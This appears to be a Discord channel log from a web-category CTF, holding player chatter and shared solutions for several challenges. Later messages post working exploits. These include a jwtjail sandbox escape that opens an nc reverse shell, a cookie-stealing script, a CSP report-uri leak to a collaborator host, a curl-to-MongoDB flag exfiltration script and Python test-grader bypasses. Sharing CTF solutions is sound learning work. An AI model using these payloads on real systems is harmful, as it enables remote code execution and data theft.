#web

1 messages · Page 1 of 1 (latest)

cerulean spruce
#

hope you guys are ready for 14 nodejs xss challenges

acoustic matrix
#

always

knotty tinsel
#

it's actually just 1 challenge renamed 14 different things

calm ocean
#

ah shit

#

here we go again

#

all of it

#

When web is fancy crypto :kek:

vital umbra
calm ocean
vital umbra
#

fixing scorescope

loud sparrow
#

i found the xss
where is the flag?

vital umbra
cosmic depot
#

I got unintended solution for web/gift i tihnk

tame hawk
junior canyon
#

scorescope up?

lime jacinth
cerulean spruce
cinder island
tame hawk
tame hawk
calm ocean
#

oh thats why i was getting 50x's

ripe violet
#

@tame hawk when it's coming back?

nocturne flame
#

🕸️

tame hawk
ripe violet
#

NICE!

calm ocean
#

soon™️

#

the best time

#

:prayge:

junior canyon
loud geode
#

it'll be back soon

junior canyon
#

ok maybe i will wait for 30 minutes until the ctf will start

hollow tusk
#

enough time for a smoke break 🚬

#

scorescope working for anyone?

young void
#

i think is my bad...

calm ocean
hollow tusk
#

mine is perma grading 🙃 even with default template

calm ocean
#

ow lol

#

mine is also now

young void
#

perma grading

solar latch
#

did scorescope die ?

young void
#

yes

arctic birch
#

please reload

#

admin

knotty tinsel
#

@vital umbra @loud geode

loud geode
#

fixing

vital umbra
#

some issues with web/gift! will come back up shortly

calm ocean
#

ew

vital umbra
#

it's back up btw

calm ocean
#

yay

short sky
#

scorescope up?

solar latch
#

Cool challenge, I learned something new

#

I had no idea that was thing 🙂

calm ocean
#

What are you talking about lol

#

recursive-csp I suppose

livid void
#

me aswell. no just that but i didnt know wth IND_CCA2 was lol

livid void
grim lake
#

web chall is full of various sort of xss nd stuffs :smh

livid void
#

not helping stuck at recursice-csp T.T

cerulean spruce
#

create a ticket

grand sundial
#

is codebox down or is it just me ?

loud geode
#

seems to work for me

dim crane
#

codebox 3 solves in 12 mins lemonthink

cerulean spruce
brazen barn
solar latch
#

I thought I was good at python jailbreak, but ooof

solar latch
#

ok, like 3 hours later I figured it out, agh 😓

#

Lots of good notes though! 🙂

graceful quartz
modest lake
trim schooner
#

wait, you're meant to bypass it??

vital umbra
#

careful

#

let's not talk about how we're solving challenges lol

trim schooner
#

sorry can u delete messages

#

💀

silver token
#

hello, how bypass recursive-csp politics?

knotty tinsel
#

feel free to ask after the ctf is over

silver token
tacit stirrup
#

do we have all the files for unfinished? 😛

knotty tinsel
#

yup

calm ocean
tacit stirrup
#

Is the Bad Gateway in unfinished part of the challenge?

#

i am unable to access my instance

rustic sandal
#

It seems scorescope's autograder is not working properly, is the server ok?

#

Response got too slow for requests to /api/stream/*

knotty tinsel
#

Sorry, infra team is asleep atm, we'll look into those asap

cerulean spruce
#

if you're getting bad gateway errors for unfinished wait a minute for the instance to load

#

if it still doesn't work after that open a ticket

covert yacht
pseudo pike
#

Can i DM for codebox

pseudo pike
mortal stirrup
#

Open a ticket

rustic sandal
dull path
#

CodeBlox was a cute challenge, had fun

grave coral
cunning swallow
#

Think i'm not so skilled for these challenges, cant wait to see the writeups

opal dome
calm ocean
#

Same

#

I know what the idea of the attack is for some

#

but i cant exploit it

dry palm
#

im surprised there are only 2 solves for jnotes

wise haven
#

Recursive csp got me tripping

placid shadow
#

i think scorescope had a hiccup

#

someone check infra?

#

(or was someone's solve too effective)

brazen barn
#

scorescope keeps crashing for me too

knotty tinsel
#

@loud geode

loud geode
#

huh

#

seems to work for me but I'll take a closer look in a bit

knotty tinsel
#

seems to be working fine atm for me too

placid shadow
#

it was slow for a biot

#

bit

#

fine now

brazen barn
#

^

shy lantern
#

web best category

#

I enjoyed both web challenges I did

untold mist
#

Insanity is increasing every second with the gift challenge

wise haven
#

Still on csp recursive oyes 💀

slender ember
#

u can do it popsmoke 👍

wise haven
#

It can't be brute force but there's literally no other way

stark dove
#

Average brute force enjoyer

calm ocean
wise haven
#

Same lmfao

#

My et was 2 years

#

🤡

somber plover
#

buy a better pc

trim schooner
#

pay to win tbh

knotty tinsel
#

can someone solve impossible xss

#

please ty

calm ocean
#

Sure

#

If you give a writeup

real holly
#

that's why solving it = good

calm ocean
#

no because its impossible

#

there is no way to solve it

azure pollen
#

but I had an idea that doesn't involve brute forcing yet when I saw the source code I realised it has a size limit in the payload

#

so my day is now ruined

calm ocean
#

lol

azure kelp
#

I didn't expect that mc.ax is on public suffix list 😢

fleet schooner
somber plover
#

yeah I speak anaconda

plucky sand
fleet schooner
mortal condor
#

I will die after one more waiting for sleep(s) in scorescope

#

🙂

loud geode
#

huh scorescope shouldnt be sleeping

proud atlas
#

it learned to take breaks

earnest pebble
#

these challenges are so frustrating. For the sake of my mental health i'll simply watch the writeups, because this is crazy.

finite edge
long girder
#

I’ve been Stuck on jnotes for 6+ hours and I keep thinking I’m close then run into a problem. I’m just gonna wait for a write up it’s too hard.

finite edge
#

lemon = waiting for write-up

tame hawk
long girder
plucky sand
plucky sand
merry crater
plucky sand
#

web is hard

azure pollen
#

this is the first time I struggle that much with web challenges... bet those write-ups gonna be juicy 😆

distant inlet
winged rapids
#

Hi i'm new to CTFs, where can we find the write-ups after the CTF ends?

mortal stirrup
#

We'll probably make a writeups channel, and people can upload writeups on ctftime

fleet schooner
#

I am sure that when I'll read recursive-csp writeup I am going to slap myself

scarlet aurora
covert yacht
#

web is hard - many of them are about things I've never heard before
very good learning chance

storm aspen
#

Can't wait to read a writeup about codeblock. I'm certainly overthinking it meoweyes

junior wagon
#

I don't think you are? It feels like it uses techniques I just don't know about XD

storm aspen
junior wagon
#

Haha, same thing, I wish I knew how to bypass that, and I find very exotic writeups on it, but nope, never works

wise haven
#

So I don't have the payload

#

Ik the vuln tho

#

🤡

#

Oh wait I prob shouldn't say that

azure pollen
#

I have no clue, most of my knowledge is oriented around backend bugs

wise haven
azure pollen
#

it was unfortunate for me that all the challenges are about the front-end

wise haven
#

No same but hey good learning

azure pollen
storm aspen
wise haven
#

💀😭

#

If that's the vuln I'm shooting myself

#

LMAO EIGHT

storm aspen
fleet schooner
azure pollen
storm aspen
#

Yeah xD The first thing I do for now on is to check versions lol

azure pollen
#

lesson learned

grave coral
#

we really do think of everything

#

we're registrars for the .ax TLD for this reason actually

earnest spruce
#

possible to get hints for scorescope?

#

:)

nocturne flame
#

yeah in like 2 hours

vital umbra
#

try opening a ticket but no guarantees lol

earnest spruce
#

crap

untold mist
#

@vital umbra same for Gift? I'm already hairless thanks to it oyes

vital umbra
#

probably can't help much but you can try opening a ticket if you're experiencing a problem with something very specific

wintry finch
nocturne flame
#

ono

grave coral
calm ocean
#

busted

loud geode
#

seems like no

wintry finch
mortal condor
candid coral
#

Do we get $50 bounty for solving unsolved challenges after the ctf

glacial coral
#

Hey admin, can you send me a gift

tame hawk
knotty tinsel
candid coral
#

We don't have it just saying lol

nocturne flame
#

super guesser strong

knotty tinsel
#

we are still discussing, there might be one

grave coral
#

I assure you, impossible xss is quite possible

#

:)

real holly
#

false advertising :^)

calm ocean
#

yeh

#

imagine false advertising

#

smh

heavy jetty
#

Sad I'm so close to flag gift but, I'm getting out of time

#

Can't wait to see the writeup !

west jungle
#

where flag

wise haven
#

LMAO

#

bro said extra credit

#

💪

junior canyon
#

Btw, are there going to be organizers writeups for webs?

#

I would love to read them

wise haven
#

2 minutes left woooooooooooooooo

#

can someone just send like an entire writeup for every web

#

explained in idiot terms

#

🙏

grim lake
#

🥺

nocturne flame
#

we'll release some writeups probably

knotty tinsel
#

if you want a hint for impossible-xss while we're still putting together writeups: || xml ||

nocturne flame
#

hey wait a minute

#

ctf is still going

cerulean spruce
#

ban

prime folio
#

oop

tame hawk
#

ban

knotty tinsel
#

Oh no they might solve it in 30 seconds

wise haven
#

aint no way

distant inlet
#

now

wise haven
#

LMAO

modest parrot
#

writeup pls

untold mist
#

Solved it

#

Just what I needed

oblique yoke
#

i got it in 1 second

halcyon oriole
#

Aaron is giving too many challenge hints

#

Kicked off dice

cinder island
#

how did u leak this f** private key on gift ???

distant inlet
#

writeups plz

heavy jetty
storm aspen
#

codebox please

wise haven
#

writeup for codebox pls

untold mist
#

Explain gift please!

cinder island
wise haven
#

and scorescope

shy lantern
#

was web/unfinished TLS poisoning

west jungle
#

how do u do scorescope lmao

image.png
wise haven
shy lantern
wise haven
#

script-sample/

shy lantern
# wise haven what-

you can require trusted types as part of CSP with require-trusted-types-for, you need ?code=&code=[payload] to trick the client into not setting the textarea but setting the h1 while the server still modifies CSP and report-uri to leak

untold mist
#

Code box is csp injection with bypass on query parse

nocturne flame
#

you need to actually pass the test cases smh

#

imagine cheating on assignments

frozen crane
#

what was the payload for scorescope?

cinder island
#

https://codebox.mc.ax/?code=&code=%3Cimg+src%3D%22*%3B+require-trusted-types-for+%27script%27+%3B+report-uri+https%3A%2F%2Fztwajhrp7wf40bww2y4i23ctvk1cp2dr.[BURPSUITE]%2F%22+%3E

#

this was the payload to flag

shy lantern
#

yes

nocturne flame
#

for scorescope I just wrote the algorithms as asked

hollow geyser
proud atlas
shy lantern
#

wait bruh

#

I just actually solved all of them

#

💀

#

seriously???

untold mist
#

Explain gift!

whole token
calm ocean
prime folio
#

why was scorescopein web

shy lantern
prime folio
#

objectively misc

#

lol

hollow tusk
#

i see that's cool

plush quest
#

what did u ssrf to mongo in unfinished?

shy lantern
#

blind

nocturne flame
hollow tusk
#

creative solution for scorescope lol

prime folio
#

iT hAs a wEb iNtErFaCe

cerulean spruce
#

i used telnet protocol for unfinished to talk to mongodb

shy lantern
#

telnet protocol? but doens't it check

plush quest
shy lantern
prime folio
plush quest
#

but what to send to it

cerulean spruce
#

mongodb wire protocol packet

shy lantern
#

scorescope was easiest web, codebox second

#

blind SSRF annoying

plush quest
shy lantern
#

I was gonna TLS poison

cerulean spruce
#

outputs flag

#

then you can save output to file on fs and upload

steep field
potent swift
#

unfinished?

pseudo thunder
#

writeup for gift?

plush quest
#

ah ok

#

so my ftp way spoiled it

knotty tinsel
ashen scroll
#

can someone explain recursive-csp please

cerulean spruce
#

unintended for unfinished is write js code in node_modules that runs

plush quest
#

because ftp data connections are not logged

cerulean spruce
#

because i forgot to make that folder unwritable

shy lantern
#

I could have done that

cerulean spruce
#

xd

shy lantern
#

for scorescope I just returned an object that always __eq__ to true

mortal condor
#

codescope solution:

# 
    return list(filter( lambda x: s in str(x), [b for b in {}.__class__.__base__.__subclasses__()] ))

def fake_call_test(*a):
    print("FAKE CALL", *a)
    return 1

hax = findclass(".TestCase")[0]
setattr(hax, "_callTestMethod", fake_call_test)
wise haven
#

me not understanding a single thing being said at this point

#

🥲

shy lantern
#

for preimage

def preimage(hash):
    builtins = ''.__class__.__class__.__subclasses__(''.__class__.__class__)[0].register.__builtins__
    imp = builtins["__import__"]

    # solves test_preimage_b which actually uses hashlib.sha256 by monkeypatching it
    imp("hashlib").sha256 = lambda x: h(imp("inspect").currentframe().f_back.f_code.co_consts[-1])
    # solves test_preimage_a which is just comparison to the constant string "dicectf"
    return e()
proud atlas
cinder island
red frigate
#

much easier: import __main__ then you can modify __main__.tests

heavy jetty
# untold mist Explain gift!

I didn't get the last part of the chall but, gift was about client side race condition on /api/info + Dunggling Markup on /create/Infinity to get the public key (I have no idea how to get the private one to solve the challenge 😦

<?php
    $bytes = random_bytes(5);
    $random = bin2hex($bytes);
?>

<form id="x" method="POST" action="https://gift.mc.ax/api/login" enctype="text/plain">
    <input name='{"name":"<?= $random ?><meta http-equiv=\&quot;refresh\&quot; content=\&quot;0;<?= $_GET["remote"] ?>?content=","random":"' value='aa"}'>
</form>

<script>
    step = new URLSearchParams(document.location.search).get("step");

    if (step == "1") {
        window.open("?step=2&remote=<?= $_GET["remote"] ?>");
        document.location = "https://gift.mc.ax/create/Infinity";
    }

    if (step == "2") {
        x.submit();
    }
</script>
knotty tinsel
calm ocean
knotty tinsel
#

other way was sni injection

proud atlas
#

huh, interesting

shy lantern
# 
def magic():
    builtins = ''.__class__.__class__.__subclasses__(''.__class__.__class__)[0].register.__builtins__
    imp = builtins["__import__"]

    parent_frame = imp("inspect").currentframe().f_back
    parent_frame2 = imp("inspect").currentframe().f_back.f_back
    consts1 = parent_frame.f_locals
    consts2 = parent_frame2.f_locals

    # Patch test_hidden
    # The nesting level is not 9 in test_magic_c, so we cannot patch there
    if ".0" not in consts1:    
        next(iter(next(iter(list(imp("inspect").currentframe().f_back.f_back.f_back.f_back.f_back.f_back.f_back.f_back.f_back.f_locals['self'])[7])))).__class__.test_hidden = lambda self: True

    if ".0" in consts1:
        # First time, should return correct values
        if parent_frame2.f_lineno == 18:
            idx = 64 - consts1[".0"].__length_hint__()
            return consts2["targets"][idx - 1]

        # Second time, should return incorrect values
        return 1

    return e()
ivory pike
#

as default

shy lantern
knotty tinsel
#

idk

cinder island
proud atlas
#

for scorescope I just used a bunch of these:

sys.modules['test_6_preimage'].TestPreimage.test_preimage_b = lambda *args, **kwargs: return True
ivory pike
#

no ;

cinder island
#

What ???

cerulean spruce
#

i love javascript

mortal condor
whole token
#

🫠

knotty tinsel
#

js moment

cinder island
#

I have the source code where data.limit=0 ???

cerulean spruce
#

but there are no semicolons there

ivory pike
#

yep and there is no ; after that

cerulean spruce
#

so javascript interprets it differently

heavy jetty
mortal condor
#

anyone jnote ?

cinder island
#

What the fuck 😂😂

#

Fuck js as always lol

dusky brook
shy lantern
ivory pike
#

0[console.log, logger] is undefined

steep field
cinder island
#

Yeye i see it

heavy jetty
#

I legit blocked the API call with base href thanks to the CSP that didn't worked

cinder island
whole token
knotty tinsel
shy lantern
#

I only solved scorescope and codebox

harsh flint
#

My payload solver for recursive csp:

from zlib import crc32

script = """<script nonce="ffffffff">document.location="http://IP:PORT/"+document.cookie;</script>"""

for seeds in range(1000):
    h = str(seeds)
    payload = script + h
    c = crc32(payload.encode())
    cb = (0xffffffff ^ c).to_bytes(4, "little")
    if all(b < 128 and chr(b).isalnum() for b in cb):
        blob = payload.encode() + cb
        print(len(blob), repr(blob))
        print(hex(crc32(blob)))
shy lantern
#

hah imagine knowing how CRC32 works

#

I just use PHP brute-force by appending "a" which kills my computer

mortal condor
proud atlas
#

was the parameter injection (to openssl) intended for geminiblog? I didn't manage to get openssl to emit a valid gemini header, but afaict that's all I needed to get the flag.

mortal condor
#

I was 99% sure that it is fucked cookie parsing

calm ocean
shy lantern
#

this is just forcing the CRC32 to specific value

calm ocean
#

yeh but why does that work

potent swift
#

is there official for unfinished?

azure kelp
#

another recursive csp solve, but it construct the matrix directly

📎 crcmat.sage
robust kraken
#

Yet another solution to scorescope

import sys


class FakeList(sys.modules["collections"].abc.MutableSequence):
    def __init__(self, reallist):
        self.list = list()
        self.reallist = reallist

    def __len__(self):
        return len(self.list)

    def __getitem__(self, i):
        return self.list[i]

    def __delitem__(self, i):
        del self.list[i]

    def __setitem__(self, i, v):
        self.list[i] = v

    def insert(self, i, v):
        self.reallist.insert(i, v)

    def __str__(self):
        return str(self.list)


def add(a, b):
    sys.modules["util"].hide.clear()
    results = sys.modules["inspect"].currentframe().f_back.f_back.f_back.f_back.f_back.f_back.f_back.f_back.f_back.f_back.f_back.f_locals["result"]
    results.errors = FakeList(results.successes)
    results.failures = results.errors
    results.missing = results.errors

the others functions are left untouched

shy lantern
#

I also spam f_back lol

# 
next(iter(next(iter(list(imp("inspect").currentframe().f_back.f_back.f_back.f_back.f_back.f_back.f_back.f_back.f_back.f_locals['self'])[7])))).__class__.test_hidden 
``` in test_magic_a and test_magic_b (but not c since the list comprehensions mess up the layers)
harsh flint
shy lantern
# 
def magic():
    if ".0" in consts1:
        # First time, should return correct values
        if parent_frame2.f_lineno == 18:
            idx = 64 - consts1[".0"].__length_hint__()
            return consts2["targets"][idx - 1]

        # Second time, should return incorrect values
        return 1
#

use line number to solve test_magic_c with actual correct answer

prime folio
#

impossible xss sol?

harsh flint
calm ocean
#

oh whaaat

#

thats kinda crazy

steep field
#

Does anyone have a good resource or something like that for codebox ?

calm ocean
#

math is wierd

prime folio
storm aspen
#

writeup for unifinished please, how did you login?

shy lantern
storm aspen
#

And how did you do that?

shy lantern
#

just make request to /api/ping, it doesn't check properly even though it gives you redirect message (so it's blind)

soft olive
knotty tinsel
robust kraken
# shy lantern ```py def magic(): if ".0" in consts1: # First time, should return c...

My solution to magic a b and c (that I found before the more general solution)
I just checked if the variable correct was declared

def magic():
    if ("targets" in sys.modules["inspect"].currentframe().f_back.f_back.f_locals):
        targets = sys.modules["inspect"].currentframe().f_back.f_back.f_locals["targets"]
        i = sys.modules["inspect"].currentframe().f_back.f_locals["_"]
        x = targets[i]
        if ("correct" in sys.modules["inspect"].currentframe().f_back.f_back.f_locals):
            x = 1
        return x
    random = test = sys.modules["inspect"].currentframe().f_back.f_locals["self"].rng
    random.seed(585)
    x = random.randint(0, 255)
    random.seed(585)
    return x
real holly
shy lantern
potent swift
storm aspen
#

omg lol no way

#

thank you

shy lantern
knotty tinsel
shy lantern
#

jetty zero day?

knotty tinsel
#

no in jetty

potent swift
shy lantern
cerulean spruce
#

^ telnet

prime folio
real holly
#

unfinished exploit: ```py
import requests
import time

url = 'https://unfinished-90476bd8497c68a4.mc.ax'

with open('raw_packet.txt', 'wb') as fout:
fout.write(b'\x92\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\xdd\x07\x00\x00\x00\x00\x00\x00\x00\x7d\x00\x00\x00\x02\x66\x69\x6e\x64\x00\x05\x00\x00\x00\x66\x6c\x61\x67\x00\x03\x66\x69\x6c\x74\x65\x72\x00\x05\x00\x00\x00\x00\x10\x6c\x69\x6d\x69\x74\x00\x01\x00\x00\x00\x08\x73\x69\x6e\x67\x6c\x65\x42\x61\x74\x63\x68\x00\x01\x10\x62\x61\x74\x63\x68\x53\x69\x7a\x65\x00\x01\x00\x00\x00\x03\x6c\x73\x69\x64\x00\x1e\x00\x00\x00\x05\x69\x64\x00\x10\x00\x00\x00\x04\xce\x2d\x77\x58\x58\xfd\x41\xc2\x98\xf9\x10\xbf\x99\x02\xfe\x2d\x00\x02\x24\x64\x62\x00\x07\x00\x00\x00\x73\x65\x63\x72\x65\x74\x00\x00')

print('upload packet contents')
res = requests.post('%s/api/ping' % url, data = {
'url': 'http://[...]/raw_packet.txt',
'opt': '-o',
'data': 'GET',
})
assert res.status_code == 200

time.sleep(5)

print('upload curl config')
with open('curl.config', 'wb') as fout:
fout.write(("""
next
url="telnet://mongodb:27017"
upload-file="GET"
output="flag.txt"
no-buffer
""").strip().encode())

res = requests.post('%s/api/ping' % url, data = {
'url': 'http://[...]/curl.config',
'opt': '-o',
'data': 'POST',
})
assert res.status_code == 200

time.sleep(5)

print('download flag')
try:
res = requests.post('%s/api/ping' % url, data = {
'url': 'http://google.com/',
'opt': '-K',
'data': 'POST',
})
assert res.status_code == 200
except:
pass

time.sleep(10)

print('upload exfil config')
with open('curl.config', 'wb') as fout:
fout.write(("""
next
url="telnet://[...]:1337"
upload-file="flag.txt"
""").strip().encode())

res = requests.post('%s/api/ping' % url, data = {
'url': 'http://[...]/curl.config',
'opt': '-o',
'data': 'POST',
})
assert res.status_code == 200

time.sleep(5)

print('exfil')
try:
res = requests.post('%s/api/ping' % url, data = {
'url': 'http://google.com/',
'opt': '-K',
'data': 'POST',
})
assert res.status_code == 200
except:
pass```

potent swift
#

what

#

how

acoustic matrix
potent swift
#

the telnet waits for stdin...?

cerulean spruce
#

hes serious

acoustic matrix
#

it can't be

shy lantern
acoustic matrix
#

wat

delicate warren
#

wo

acoustic matrix
#

what is doing that

wheat otter
#

dude there's a fucking COMMENT in between the lines and js still thinks it's the same statement

acoustic matrix
#

html?

#

svg?

#

iwanna knowwwww

shy lantern
acoustic matrix
#

or just files displayed as xml?

wheat otter
#

I knew js was weird but that's crazy

plush quest
soft olive
#

anyway, amazing web challs

shy lantern
red frigate
shy lantern
#

this web was really fun, gift I had no idea how to I think it was dangling markup on /api/login CSRF (SameSite=None)

prime folio
#

how do u leak private on gift? @vital umbra

loud geode
#

dangling markup for public

acoustic matrix
#

that's the fun part, you don't!

whole token
#

jwtjail? :D

ruby totem
wheat otter
ruby totem
#

no it wasn't

red frigate
shy lantern
#

pw?

ivory pike
#

undefined xD

red frigate
#

writeup

ruby totem
#

we tested

cerulean spruce
#

my jwtjail solve:

fetch("/api/verify", {
    method: "POST",
    headers: {
        "Content-Type": "application/x-www-form-urlencoded"
    },
    body: `token="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.LLPW3b1BzsGRHh1AiHDi6W6RKK-k7INCN_gkvzJUlfo"&secretOrPrivateKey={
    constructor: {
        name: {
            [Symbol.toPrimitive]: new Proxy(_=>_, {
                apply(a,b,c) {
                   c.constructor.constructor("return this")().process.binding("spawn_sync").spawn({"args":["nc","IP","12345","-e","/bin/sh"],"file":"nc","stdio":[{"type":"pipe","readable":true,"writable":false}]})
                }
            })
        }
    }
}`
})
shy lantern
#

bruh

#

apply

delicate warren
#

jwtjail ```js
(function(){
let a = {};
const customInspectSymbol = Symbol.for('nodejs.util.inspect.custom');
let b = {
customInspectSymbol {
let process = j.constructor.constructor('return process')();
// stolen from https://jwlss.pw/mathjs/
let spawn_sync = process.binding('spawn_sync'); normalizeSpawnArguments = function(c,b,a){if(Array.isArray(b)?b=b.slice(0):(a=b,b=[]),a===undefined&&(a={}),a=Object.assign({},a),a.shell){const g=[c].concat(b).join(' ');typeof a.shell==='string'?c=a.shell:c='/bin/sh',b=['-c',g];}typeof a.argv0==='string'?b.unshift(a.argv0):b.unshift(c);var d=a.env||process.env;var e=[];for(var f in d)e.push(f+'='+d[f]);return{file:c,args:b,options:a,envPairs:e};};
let spawnSync = function(){var d=normalizeSpawnArguments.apply(null,arguments);var a=d.options;var c;if(a.file=d.file,a.args=d.args,a.envPairs=d.envPairs,a.stdio=[{type:'pipe',readable:!0,writable:!1},{type:'pipe',readable:!1,writable:!0},{type:'pipe',readable:!1,writable:!0}],a.input){var g=a.stdio[0]=util._extend({},a.stdio[0]);g.input=a.input;}for(c=0;c<a.stdio.length;c++){var e=a.stdio[c]&&a.stdio[c].input;if(e!=null){var f=a.stdio[c]=util._extend({},a.stdio[c]);isUint8Array(e)?f.input=e:f.input=Buffer.from(e,a.encoding);}}console.log(a);var b=spawn_sync.spawn(a);if(b.output&&a.encoding&&a.encoding!=='buffer')for(c=0;c<b.output.length;c++){if(!b.output[c])continue;b.output[c]=b.output[c].toString(a.encoding);}return b.stdout=b.output&&b.output[1],b.stderr=b.output&&b.output[2],b.error&&(b.error= b.error + 'spawnSync '+d.file,b.error.path=d.file,b.error.spawnargs=d.args.slice(1)),b;};
let f = spawnSync('sh', ['-c', 'ls | nc seraphin.xyz 25565']).stdout.toString();
throw f;
return "inspect";
}
}
a = b;
a.constructor = null;
return a;
})()

cerulean spruce
#

TLDR: proxy apply trap 3rd arg is argsList which is array that comes from outside vm, which you can use to escape

#

then process.binding -> RCE

shy lantern
#

I have no idea how to tell what is from outside VM in proxy traps, just brute force using loop in arguments?

cerulean spruce
#

other solve was that mess above

ivory pike
knotty tinsel
shy lantern
#

impossible-xss is really good

prime folio
#

^

knotty tinsel
#

It's mostly just weird browser trivia

shy lantern
#

scorescope was probably my favourite pyjail

#

didn't feel too restrictive

#

ctypes was blocked? I know syscalls were blocked, auditing events or seccomp?

placid shadow
#

probably auditing

#

eval is open

shy lantern
#

maybe it was auditing with checking "os"

ruby totem
prime folio
#

seccomp was imported from util

shy lantern
#

what?

placid shadow
#

oh wait yeah i remember seeing seccomp in modules

shy lantern
#

how do you know

ruby totem
#

i'm no longer able to read code

shy lantern
#

lol

#

JS automatic semicolon insertioneverything about JS does that to you sometimes

#

I love Kali

#

why do I get clowned on in other programming servers when I say that

prime folio
wheat otter
#

I would have never seen that lol

prime folio
# shy lantern how do you know 
    util = __import__("util")
    raise RuntimeError(dir(util))


RuntimeError: ['SilentResult', 'SubmissionImporter', 'TestCase', '__builtins__', '__cached__', '__doc__', '__file__', '__loader__', '__name__', '__package__', '__spec__', 'hidden', 'hide', 'importlib', 'seccomp', 'sys', 'traceback', 'unittest']
shy lantern
#

oh

#

wait what

#

__import__ makes it failed to grade

ruby totem
shy lantern
#

did you overwrite?

ruby totem
#

like you don't really need to put ;

wheat otter
prime folio
prime folio
ruby totem
#

i guess

wheat otter
#

I guess so. Biggest troll ever

ruby totem
#

we couldn't know it without console.log tbh

delicate warren
#

has someone made a static analyzer for that

wheat otter
#

apparently the author did that in another ctf so if you'd seen it before you'd probably have spotted it

shy lantern
ruby totem
#

now i'll be aware

red frigate
prime folio
#

🤪

dim crane
vital umbra
dim crane
#

i wonder how long it has been there

wheat otter
#

yeah, it's not too unrealistic. I can see a dev forgetting the ; and spending hours trying to figure out what's wrong

#

just js being js

knotty tinsel
prime folio
dim crane
wheat otter
#

I had figured out the dangling markup and was trying to get the private token somehow

prime folio
shy lantern
#

I had to get __import__ from somewhere else

# 

    builtins = ''.__class__.__class__.__subclasses__(''.__class__.__class__)[0].register.__builtins__
    imp = builtins["__import__"]```
#

ABCMeta.register is very rare because it is a normal function, not even a class method

prime folio
#

lolol

shy lantern
#

so it is very useful for getting stuff like __self__, __code__ or whatever

prime folio
#

@hollow geyser on our team solved it via

# 
main = vars(__import__("__main__"))['sys'].modules['__main__']
main.tests = ['test_favorite' for _ in range(22)]
shy lantern
#

and just return 12? lol

prime folio
#

yeah

shy lantern
#

I actually implement each one individually

prime folio
#

lmaoo

#

i thought this chal was a web chal

#

and was trying to do seccomp bypass stuff

#

kinda pissed

shy lantern
# 
# A class whose instances are always equal to any other object when checked using the `==` operator, and returns itself when arithmetic is done on it
class e:
    def __eq__(self, other): return True
    def __gt__(self, other): return True
    def __mul__(self, other): return self

# A fake hashlib hash object that returns whatever string value is passed to it from a method called `hexdigest`
class h:
    def __init__(self, fake_digest): self.fake_digest = fake_digest
    def hexdigest(self): return self.fake_digest

def preimage(hash):
    '''
    Given a sha256 hash, find a preimage (bytes).

    Parameters:
        hash (str): The sha256 hash of a string in hex.

    Returns:
        bytes: A preimage of the hash.
    '''

    ######## YOUR CODE ########

    builtins = ''.__class__.__class__.__subclasses__(''.__class__.__class__)[0].register.__builtins__
    imp = builtins["__import__"]

    # solves test_preimage_b which actually uses hashlib.sha256 by monkeypatching it
    imp("hashlib").sha256 = lambda x: h(imp("inspect").currentframe().f_back.f_code.co_consts[-1])
    # solves test_preimage_a which is just comparison to the constant string "dicectf"
    return e()

    ###########################
cerulean spruce
#

anything with a website is automatically a web challenge

prime folio
#

😭

shy lantern
#

how do I make firefox stop hanging when I tying int dsicordfs

#

it hgn

vital umbra
proud atlas
vital umbra
#

my solution was using sys._getframe to look up the stack

shy lantern
#

inspect.stack is blocked somehow? or

#

it causes failed to grade as well

#

maybe it's the auditing event for f_code... except you can actually access f_code

prime folio
#

i thought we needed unrestricted rce since it was web category so i spent time trying to leak seccomp filter by dumping memory

shy lantern
#

idk how inspect.stack is blocked

#

i think this is misc or pwn (if you have a VERY broad definition of pwn)

mortal condor
#

anuone done imposiblexss?

vital umbra
#

idk exactly which but one of them makes it open up the file contents

#

which gets seccomped

shy lantern
mortal condor
#

i had local exploit but didnt work on remote

shy lantern
prime folio
vital umbra
#

maybe idk

#

some inspect stuff just didnt work

proud atlas
#

yea I tried using inspect to get the source code and the file access killed it

vital umbra
#

but sys contains a lot of what u need

#

u can dump bytecode

prime folio
#

yeah inspect makes some blocked syscalls 😭

shy lantern
#

I used dis.dis and inspect frame f_code

prime folio
#

same

vital umbra
#

also if u just looked at the locals

nocturne flame
#

inspect just calls sys

prime folio
#

😭

vital umbra
shy lantern
#

locals were useful for test_magic_c and getting the TestSuite

azure kelp
#

I even tried to use the LOAD_CONST bug on scorescope but still failed for some reason

nocturne flame
#

I wonder how many people just tried to write the code normally

#

lol

delicate warren
#

i just printed out sys.modules slowly and overwrite modules

shy lantern
#

slowly? you can just raise any exception manually and get full output

#

you don't need to use the assert

prime folio
#

not web

shy lantern
#

guys what is 9 + 1

#

i need it for an assignment

#

/gen /srs

prime folio
#

🤪

shy lantern
#

? rude

placid shadow
shy lantern
#

thanks u

#

okay

#

so

#

i have to the conclusion that

#

the nesting level to the class with self with full testsuite in test_magic_c

#

is

#

wait for it!

#

🥁

#

it is 10

#

okay thanks for coming to my TED Talk

placid shadow
#

ok.

shy lantern
#

wow i can do this for a living

nocturne flame
#

hidden test case is always the tricky one

prime folio
#

lmao starlight

shy lantern
#

que?

proper wharf
#

Really want to see how the seccomp was implemented xd

low basin
vital umbra
proper wharf
#

Ah i see

gloomy haven
#

yet another scorescope exploit

def win(self, *args, **kwargs):
    for err in self.errors:
        self.successes.append((err[0], None))
    for fail in self.failures:
        self.successes.append((fail[0], None))
    self.errors = []
    self.failures = []
    self.wasSuccessful = lambda *a, **kw: True

and then put this in any test case:

sys.modules['util'].SilentResult.stopTestRun = win
solar latch
#

How did you get the actual code out of the f_code? I had this elaborate setup trying to get the testResult out of the 16th stack frame back

#

huh I was running afoul of seccomp when I tried to print errors, or so I thought, oh well, messed something up stupid.

gloomy haven
#

you can do

marshal.dumps(sys.modules['util'].SilentResult.stopTestRun.__code__)

then unmarshal the code object and dis.dis it

solar latch
#

oh right, dis dis

#

yeah I had a code object, derp

gloomy haven
#

but also, the classes extend the python unittest classes, so you can just look up what the functions do

solar latch
#

I had this whole rediculous class setup

#

I would throw a Framer Exception and in the str it crawled the stack back and printed out all locals args code etc, I saw the test_8_hidden and saw its code I just couldn't figure out how to get the errors out of the SilentResult

#

I thought I was running against the filter, but prob just causing an error, oh well

onyx iris
#

we overwrote a lot of unittest.TestCase's assert functions to automatically pass all tests but the hidden one

#

then we passed the hidden test with this:

@classmethod
def setUpClass(cls):
    cls.test_hidden = noop

